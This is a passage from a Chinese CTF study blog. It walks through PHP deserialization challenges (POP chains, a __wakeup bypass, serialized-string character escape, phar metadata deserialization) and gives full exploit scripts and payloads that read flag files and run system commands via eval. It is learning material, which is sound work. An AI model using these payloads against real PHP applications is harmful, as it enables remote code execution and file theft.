    function __wakeup()
    {
        echo "W4keup!!!<br/>";
        $this->cmd = "echo Welcome to NSSCTF";
    }
}


class C
{
    public $whoami;
    function __get($argv)
    {
        echo "what do you want?";
        $want = $this->whoami;
        return $want();
    }
}

class T
{
    public $sth;
    function __toString()
    {
        echo "Now you know how to use __toString<br/>There is more than one way to trigger";
        return $this->sth->var;
    }
}

class F
{
    public $user = "nss";
    public $passwd = "ctf";
    public $notes;
    function __construct($user, $passwd)
    {
        $this->user = $user;
        $this->passwd = $passwd;
    }
    function __destruct()
    {
        if ($this->user === "SWPU" && $this->passwd === "NSS") {
                echo "Now you know how to use __construct<br/>";
                echo "your notes".$this->notes;
        }else{
            die("N0!");
        }
    }
}



if (isset($_GET['ser'])) {
    $ser = unserialize(base64_decode($_GET['ser']));
} else {
    echo "Let's do some deserialization :)";
}
Let's do some deserialization :)

3.1.2. 解答

3.1.2.1. 构造pop链

F::__destruct()->T::__toString()->C::__get($argv)->NSS::__invoke()->system($this->cmd)

【就是从后面往前面推,找到危险函数,一点一点去找符合条件的函数】

3.1.2.2. 新建对象

根据上述,知道要如何设置这个新对象了,

从那个头开始

  1. $a=new F;这个时候this就相当于是$a
  2. $this->user === "SWPU" && $this->passwd === "NSS"$a->user="SWPU"; $a->passwd="NSS";
  3. $a->notes=new T;
  4. $this->sth->var;就相当于是this是上面的$a->notes$a->notes->sth = new C;
  5. $want = $this->whoami;this是上面的总和,即$a->notes->sth->whoami = new NSS;
  6. $a->notes->sth->whoami->cmd="cat /f*";
3.1.2.3. 构造payload(没有考虑到wakeup绕过的情况)
复制代码
<?php
class NSS{
    public $cmd;
}
class C{
    public $whoami;
}
class T{
    public $sth;
}
class F{
    public $user;
    public $passwd;
    public $notes;
}
$a = new F;
$a->user="SWPU";
$a->passwd="NSS";
$a->notes=new T;
$a->notes->sth = new C;
$a->notes->sth->whoami = new NSS;
$a->notes->sth->whoami->cmd="cat /f*";
echo base64_encode(serialize($a));

结果

并没有输出你想要的结果,是因为有一个wake_up的绕过,

3.1.2.4. 最终版payload

先不进行编码echo (serialize($a));

得到

O:1:"F":3:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:6:"whoami";O:3:"NSS":1:{s:3:"cmd";s:7:"cat /f*";}}}}

为了绕过wakeup,就将F;3改为F:4

复制代码
<?php
class NSS{
    public $cmd;
}
class C{
    public $whoami;
}
class T{
    public $sth;
}
class F{
    public $user;
    public $passwd;
    public $notes;
}
$a = new F;
$a->user="SWPU";
$a->passwd="NSS";
$a->notes=new T;
$a->notes->sth = new C;
$a->notes->sth->whoami = new NSS;
$a->notes->sth->whoami->cmd="cat /f*";
echo (serialize($a));
$e = 'O:1:"F":4:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:6:"whoami";O:3:"NSS":2:{s:3:"cmd";s:9:"cat /flag";}}}}'; 
echo base64_encode($e);

最后结果得知

3.1.2.5. wakeup绕过

当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup() 函数的执行,是因为 PHP 在反序列化过程中,会忽略掉多出来的属性,而不会对这些属性进行处理和执行。

3.2. 安洵杯 2019easy_serialize_php

3.2.1. 题目

复制代码
<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

3.2.2. 代码审计

  1. 过滤

    function filter(img){ filter_arr = array('php','flag','php5','php4','fl1g');
    filter = '/'.implode('|',filter_arr).'/i';
    return preg_replace(filter,'',img);
    }

  • implode('|',$filter_arr):把数组的关键词用|分隔拼接成字符串,拼接后得到:

php|filter|flag

  1. extract($_POST); 会自动将HTTP POST请求里的所有表单参数名,直接变成PHP变量,变量值就是参数内容。

  2. 这里有提示

    else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!

去寻找之后,注意,去搜索flag发现找不到,在core里头发现这个

感觉这个文件很有用处

d0g3_f1ag.php但是无法直接去读取

d0g3_f1ag.phpbase64 加密为ZDBnM19mMWFnLnBocA==

  1. 读取文件

    else if(function == 'show_image'){ userinfo = unserialize(serialize_info); echo file_get_contents(base64_decode(userinfo['img']));

到这里,就大致懂得,我们要想办法去读取文件,利用反系列化,那么要怎么列呢?写出反序列化的链条

  • file_get_contents(base64_decode($userinfo['img']));
  • $userinfo = unserialize($serialize_info);
  • $serialize_info = filter(serialize($_SESSION));
  • $_SESSION["user"] = 'guest';
  • $_SESSION['function'] = $function;
  1. img_path

    //如果GET请求中没有'img_path'参数
    if(!_GET['img_path']){ //设置默认会话图片路径 _SESSION['img'] = base64_encode('guest_img.png');
    }else{
    //将传入的图片路径进行base64编码后在进行shal哈希(再次对其进行一次加密)
    _SESSION['img'] = sha1(base64_encode(_GET['img_path']));
    }

  2. if($_SESSION){unset($_SESSION);}

unset$_SESSION进行了销毁

3.2.2.1.1.1. 补充知识点【extract】
复制代码
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
var_dump($_SESSION);
?>

直接相当于清零,post里面些什么,结果就是什么

3.2.3. 解题

有两种方法

3.2.3.1. 思路

首先通过查询phpinfo,知道要读取文件

,读取文件,的要求也知道,要$_SESSION['img']=base64_encode('guest_img.png');

但是呢,如果你直接post img,就会被shal加密,所以要想办法绕过,就是使用字符绕过的方式

3.2.3.2. 键逃逸(最常见于过滤场景)

假设过滤函数会删除黑名单词,原本序列化字符串是:

复制代码
a:1:{s:8:"badflag";s:3:"123";}

如果我们把黑名单词放在键名里,过滤后删除掉关键词,键名长度会比实际字符数长,比如:

  • 我们构造键名:phpflag(其中php会被过滤)
  • 声明长度:s:7:"phpflag",过滤后实际变成s:7:"flag",键名实际只有4个字符,但长度声明还是7,会多吃掉后面3个字符
    通过这种方式,可以提前吃掉到下一个键的分隔符";,强行闭合当前结构,注入我们想要的恶意键值对。
3.2.3.2.1. 如何使用构造

需要一个键值对就行了,直接构造会被过滤的键,这样值得一部分充当键,剩下得一部分作为单独的键值对

我们核心想要的是3:"img";s:20:"ZDBnM19mMWFnLnBocA==";

string(80) "a:1:{s:8:"flagflag";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}"

过滤之后

string(72) "a:1:{s:8:"";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}"

就是一个数组名字为";s:51:",其值为aaa。

复制代码
array
  '";s:51:"' => string 'aaa' (length=3)
  'img' => string 'ZDBnM19mMWFnLnBocA==' (length=20)

a:2:{s:8:"flagflag";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
3.2.3.3. 值逃逸(常见于字符替换场景)

通常发生在替换短字符串为更长字符串 的场景(比如替换"\"),每替换一次就会多出来一个字符,当我们控制多个这样的替换后:

  • 原本的值因为替换变长,但长度声明还是原来的
  • 超出长度的部分就会被解析器当成新的序列化内容
    举个简单例子:原本你声明s:1:"",替换之后变成s:1:"\",实际长度是2,多出来的字符就会逃逸出来,成为新的键值对结构。
3.2.3.3.1. 如何写呢?

我们可以构造

复制代码
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';
var_dump(serialize($_SESSION));
?>

结果是string(90) "a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"

  • 要使得他逃逸,就让他到}外面去

a:3:{s:4:"user";s:5:"guest";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

  • 接下来处理另外的数据,因为这里为了使他绕过,现在img属于function里面的属性

想要把荧光部分的去除掉,就可以利用user的值的过滤来写,

;s:8:"function";s:42:"a"24位字符,所以要绕过24次。上面提到'php','flag','php5','php4','fl1g'都会被过滤,比如四个flag

过滤完

复制代码
string(144) "a:3:{s:4:"user";s:16:"";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
  • 注意,后面还要再添加一个属性,因为刚开始就是有三个

s:2:"aa";s:1:"a";

构造到最后

复制代码
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:1:"a";}

/d0g3_fllllllag中base64后是L2QwZzNfZmxsbGxsbGFn还是20位

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"aa";s:1:"a";}

3.2.4. 写后感

好难好乱,首先是多个知识点结合,考字符逃逸但是又暗戳戳的,并且前摇很长,感觉写的好奇怪。

3.3. 逃

3.3.1. 题目

小s痛改前非,对反序列化设置了filter,但在设置的过程中神志不清,未能完全隔绝攻击,你能再次突破小s的filter并再教训他一次吗?

复制代码
<?php
highlight_file(__FILE__);
include ("flag.php");
function filter($payload)
{
    $black_list=array("flag","php");
    return str_replace($black_list,"stop",$payload);
}
class test{
    var $user = 'test';
    var $pswd = 'sunshine';
    function __construct($user){
        $this->user=$user;
    }
}

$payload=$_GET['payload'];
$profile=unserialize(filter($payload));
if ($profile->pswd=='escaping'){
    echo "逃出来了, 恭喜恭喜<br>";
    echo $flag;
}
?>

3.3.2. 解答

这道题出现了字符逃逸,出现一个取代,当$profile->pswd=='escaping'时,有结果,得到flag

3.3.2.1. 新建一个对象
复制代码
<?php
class test{
    var $user = 'test';
    var $pswd = 'sunshine';
    function __construct($user){
        $this->user=$user;
   }
}
$a = new test;
$new = serialize($a);
echo $new;
echo urlencode($new);
?>

出错了,下面大概意思是,要再传入一个数字__construct($user)即,$a=new test(传入的参数);

复制代码
Fatal error: Uncaught ArgumentCountError: Too few arguments to function test::__construct(), 0 passed in /box/script.php on line 10 and exactly 1 expected in /box/script.php:6
Stack trace:
#0 /box/script.php(10): test->__construct()
#1 {main}
  thrown in /box/script.php on line 6


Exited with error status 255
3.3.2.2. 尝试一下这个新建对象的方式
3.3.2.2.1. 假设我传入数据为空

O:4:"test":2:{s:4:"user";s:0:"";s:4:"pswd";s:8:"sunshine";}

这个时候看pswd是"sunshine"

3.3.2.2.2. 假设我把pswd=='escaping'这个属性添加进去

O:4:"test":2:{s:4:"user";s:31:"php;s:4:"pswd";s:8:"escaping";}";s:4:"pswd";s:8:"sunshine";}

发现一个问题,就是出现两个pswd后面的并没有被忽略掉?

【嗯~,我们应该使用上述var_dump试试,因为string长度不变,所以会被替代掉】

3.3.2.2.3. 注意长度

我们发现说,原来php/flag经过过滤会变成stop,

如果是flag,前后长度同,如果是php,就增加1的长度,可以将后面的挤掉

3.3.2.2.3.1. 比如:现在user与过滤后的user一样

前后一致,,flag同理

3.3.2.2.3.2. 要挤掉多少呢?取决于后面的那个

比如之前的:

s:24:"flagflagflagflagflagflag";

s:24:"";s:8:"function";s:59:"a";

荧光部分为24

顶替掉内容,为";s:4:"pswd";s:8:"escaping";}29个数,

所以需要29组php,增加29个字符

复制代码
<?php
class test{
    var $user = 'test';
    var $pswd = 'sunshine';
    function __construct($user){
        $this->user=$user;
   }
}
$a = new test('phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pswd";s:8:"escaping";}');
$ser = serialize($a);
var_dump(unserialize($ser));


echo "-----------------------\n";
$filter = preg_replace("/php/","stop",$ser);
var_dump(unserialize($filter));
?>
3.3.2.3. 最后结果
复制代码
<?php
class test{
    var $user = 'test';
    var $pswd = 'sunshine';
    function __construct($user){
        $this->user=$user;
   }
}
$a = new test('phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pswd";s:8:"escaping";}');
$ser = serialize($a);
var_dump(unserialize($ser));


echo "-----------------------\n";
$filter = preg_replace("/php/","stop",$ser);
var_dump(unserialize($filter));

echo "-----------------------\n";
echo urlencode($ser);
?>

O%3A4%3A%22test%22%3A2%3A%7Bs%3A4%3A%22user%22%3Bs%3A117%3A%22phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpp%0Ahpphpphpphpphpphpphp%22%3Bs%3A4%3A%22pswd%22%3Bs%3A8%3A%22escaping%22%3B%7D%22%3Bs%3A4%3A%22pswd%22%3Bs%3A8%3A%22sunshine%22%3B%7D

3.3.3. 总结

记得顺序

序列化-》字符溢出-》反序列化

若需要编码urlencode

3.4. SWPUCTF 2018SimplePHP

https://github.com/CTFTraining/swpuctf_2018_simplephp源码地址

BUUCTF在线评测题目位置

wp的参考地址

3.4.1. 题目

3.4.2. 解答

3.4.2.1. 第一步(知道入口点)

点击" 查看文件 ",发现了标志性的文件包含语句" file.php?file= "

所以可以根据这个去搜寻查看我们想要查看的文件

使用Dirsearch来扫描文件

复制代码
python dirsearch.py -u http://

估计是防扫描了,改了线路和频率也不行

但是经过首页的提示

复制代码
<?php 
header("content-type:text/html;charset=utf-8");  
include 'base.php';
?> 
3.4.2.2. 第二步(一步步访问文件)
3.4.2.2.1. base.php

去访问这个base.php

复制代码
<?php 
    session_start(); 
?> 
<!DOCTYPE html> 
<html> 
<head> 
    <meta charset="utf-8"> 
    <title>web3</title> 
    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> 
    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> 
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> 
</head> 
<body> 
    <nav class="navbar navbar-default" role="navigation"> 
        <div class="container-fluid"> 
        <div class="navbar-header"> 
            <a class="navbar-brand" href="index.php">首页</a> 
        </div> 
            <ul class="nav navbar-nav navbra-toggle"> 
                <li class="active"><a href="file.php?file=">查看文件</a></li> 
                <li><a href="upload_file.php">上传文件</a></li> 
            </ul> 
            <ul class="nav navbar-nav navbar-right"> 
                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> 
            </ul> 
        </div> 
    </nav> 
</body> 
</html> 
<!--flag is in f1ag.php-->
3.4.2.2.2. f1ag.php

发现提示之后,接着去访问f1ag.php

发现被警告过滤了。

3.4.2.2.3. file.php

猜测一下,可能存在file.php,因为url上面有

file.php

复制代码
<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

在看这个代码时候,看见

include 'function.php';

include 'class.php'; 两个文件

3.4.2.2.4. function.php
复制代码
222.90.67.205
<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

include "base.php";

看见了只允许上传"gif","jpeg","jpg","png"类型的文件,文件上传限制

  1. 扩展名验证 :获取文件名后缀,只放行gif/jpeg/jpg/png,这是第一道验证
  2. 保存文件名规则md5(文件名 + 客户端IP) + .jpg,最终保存的文件后缀固定是.jpg
  3. 保存路径统一放在upload/目录下
3.4.2.2.5. class.php
复制代码
<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

看着是一个pop链

迅速扫一遍,好像没有看到危险函数,

但是看到 //$this->source = phar://phar.jpg注释,推测可能是phar伪协议的反序列化漏洞

只对http,https,file:,gopher,dict协议的过滤

3.4.2.3. 第三步【重点看看这个class.php的内容】

重点!!!难!!!

SWPUCTF 2018SimplePHP_wp-CSDN博客这个人在构造的时候写的极为详细

复制代码
<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) 
        {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

找到漏洞入口点file_get_contents($value)

往上file_get_contents($value))《= file_get($value)《=get($key)《=__get($key)【读取不可访问的属性的值时会被调用】《=show::__toString()《=C1e4r::__destruct()

【因为_destrust()魔术方法可以自动调用,所以到这里就找到了pop链的头,只要让$str为Show类的对象即可,接下来就可以构造exp了】

这里还有一个注意点:

file_get_contents($value)$value的值是多少?$value = $this->params[$key];𝑘𝑒𝑦的值是𝑔𝑒𝑡()魔术方法中传入的,𝑔𝑒𝑡()魔术方法是当调用一个类中不存在的属性时自动被调用,而key的值就是那个不存在的属性 ,所以在我们构造pop链调用Test类中不存在的属性时,要让这个不存在的属性的值为"f1ag.php"从而让value的值为` "f1ag.php"`,`content = this->str['str']->source`触发get(),所以value的值就是source

最后完整的pop链为:

复制代码
file_get_contents() <-- Test::get() <-- Test::__get() <-- Show::toString() <-- C1e4r::__destruct()

创建的新对象有:

$this->str['str']=new Test()

$this->test=new Show()

构造的两种方式

复制代码
$a = new C1e4r();
$b = new Show();
$c = new Test();

$a->str = $b;   //触发__tostring
$b->str['str'] = $c;  //触发__get;

$a = new C1e4r();
$a->str = new Show();
$a->str->str['str'] = new Test();

最后的exp

复制代码
<?php
class C1e4r
{
    public $test;
    public $str;
 
}
 
class Show
{
    public $source;
    public $str;
 
}
class Test
{
    public $file;
    public $params;
 
}
 
$a = new C1e4r();
$a->str = new Show();
$a->str->str['str'] = new Test();
$a->str->str['str']->params["source"] = "/var/www/html/f1ag.php";
?>

//因为file.php对/var/www/html/进行了查询

3.4.2.4. 第四步{访问完所有文件代码后,读取有用信息}
  • base.php,用于前端展示的html代码。
  • **function.php,**function.php是文件上传模块的源码,大题功能就是将我们上传的文件进行过滤,只允许上传gif、jpeg、jpg、png格式的文件,然后将上传成功的文件进行md5编码重命名,最后存储在upload目录下,
  • class.php,
  • **file.php,**从前端接收file参数,判断文件是否存在在/var/www/html/下,但是文件中没有unserialize()反序列化口,因为文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,这里正好使用file_exists()对用户提交的参数进行解析,如果我们构造phar://解析phar文件,就可以反序列化payload,造成任意文件读取。
3.4.2.5. 第五步【那么phar考点出现了】

查询一下可以用phar的文件操作函数

发现在file.php文件函数中出现file_exists($file)即phar反序列化的点

将phar加入到之前的exp中

复制代码
$phar = new Phar("joker.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a);     //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("test.txt", "test"); //生成签名
$phar->stopBuffering();

复制代码
<?php
class C1e4r
{
    public $test;
    public $str;
 
}
 
class Show
{
    public $source;
    public $str;
 
}
class Test
{
    public $file;
    public $params;
 
}
 
$a = new C1e4r();
$a->str = new Show();
$a->str->str['str'] = new Test();
$a->str->str['str']->params["source"] = "/var/www/html/f1ag.php";

$phar = new Phar("joker.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a);     //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("test.txt", "test"); //生成签名
$phar->stopBuffering();

?>

写好这个以后突然发现我不会生成phar文件

然后浅浅研究了一下

3.4.2.5.1. phar文件的生成

新建一个文本,复制exp,

注意@ini_set('phar.readonly', 0);这个条件要补上,

然后在cmd处去生成文件,,注意,要有php的环境

生成成功之后

然后可以打开来看看,我用的是vscode,注意,是十六进制编辑器打开

3.4.2.6. 第六步【上传文件】

因为有文件上传后缀的过滤 ,所以后缀名由.phar改为.jpg

上传成功去找找我们上传的内容吧

欸,不在这里

注意到move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);

echo '<script type="text/javascript">alert("上传成功!");</script>';

所以我们的文件在/upload/这里

第一个就是我们刚刚上传的文件

然后使用phar:/来读取

phar://upload/673d5d608aac52a8c16e73507b6d1ef5.jpg

接下来对他进行解码Base64 编码/解码 - 锤子在线工具

终于!!结束了!!

3.5. HNCTF 2022 ez_phar

NSSCTF 在线CTF平台题目地址

HNCTF 2022 WEEK3ez_phar_ctf ezphar-CSDN博客博主

3.5.1. 题目

复制代码
<?php
show_source(__FILE__);
class Flag{
    public $code;
    public function __destruct(){
    // TODO: Implement __destruct() method.
        eval($this->code);
    }
}
$filename = $_GET['filename'];
file_exists($filename);
?>
upload something upload something

3.5.2. 解答

3.5.2.1. 第一步【分析题目】

这道题看上去非常的简单,代码也不长,显而易见的

文件操作函数file_exists($filename);是phar:/的入手点

危险函数eval()

参数入口点$_GET['filename'];

3.5.2.2. 第二步【写出exp】

exp为:

复制代码
<?php

@ini_set('phar.readonly', 0);

class Flag{
    public $code;
	public function __destruct()
	{
        eval($this->code);
    }
    }

$a=new Flag;
$a->code="system('ls /')";

$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);  // 注入恶意对象
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

先执行system('ls /')列目录再看flag在哪,因为不一定在/flag里头

$obj->code = "system('cat /ffflllaaaggg');";

就是说,catLinux/Unix系统的命令 ,Windows的CMD/PowerShell没有这个命令,所以识别失败;【用Ubuntu虚拟机等等就不会了】

3.5.2.3. 上传phar文件

因为前面代码提示upload something ,所以去看一下upload.php文件

上传.phar文件时,被拦截了

只要把他改一下,.jpg就可以上传成功

3.5.2.4. 第四步【去查看文件内容】

无法直接在/upload/看见文件

复制代码
/?filename=phar://upload/.jpg

4. 总结

4.1. 学习进度

【因为老是想要拖延,所以在这里写每天的学习的内容】

4.1.1.1.1.1. 周一:
  • SWPUCTF 2023 秋季新生赛UnS3rialize写一道题目
  • session的存储机制【处理器】
4.1.1.1.1.2. 周二

【学的比较少】

  • session反序列化漏洞
4.1.1.1.1.3. 周三

【无】

4.1.1.1.1.4. 周四
  • 字符逃逸(知识点)
  • 一道关于字符逃逸的题目
4.1.1.1.1.5. 周五
  • 知识点(那个魔术方法的),关于出现场景
  • 安洵杯 2019easy_serialize_php【好难】
4.1.1.1.1.6. 周六

【无】

4.1.1.1.1.7. 周天
  • wake_up绕过
  • 引用
  • phar伪协议
  • HNCTF 2022 ez_phar
  • SWPUCTF 2018SimplePHP【好难】
相关推荐
zgscwxd1 小时前
【Memurai】 Redis 缓存,引入 predis/predis 纯 PHP 库
php
jingling5551 小时前
自建技术博客实战(三):工具专栏——地图定位、声音复刻与 rembg 抠图
android·开发语言·前端·ai·nextjs
li星野1 小时前
FastAPI 参数详解:路径参数、查询参数与请求体 —— 从入门到实战
服务器·学习·fastapi
承渊政道1 小时前
【MySQL数据库学习】(MySQL数据类型)
数据库·学习·mysql·ubuntu·bash·数据库开发·数据库系统
Co_Hui1 小时前
Android:Service 启动
android
WangX-西石油2 小时前
DVWA靶场Low级别Brute Force学习
学习·web安全·网络安全
段一凡-华北理工大学2 小时前
工业领域的Hadoop架构学习~系列文章08:Flink流处理引擎
人工智能·hadoop·学习·架构·flink·高炉炼铁·高炉炼铁智能化
爱睡觉1112 小时前
Android 底层输入系统改造实录:把 gpio-keys "凭空捏造"成虚拟键盘
android
plainGeekDev2 小时前
XML Shape/Selector → Kotlin 动态创建
android·java·kotlin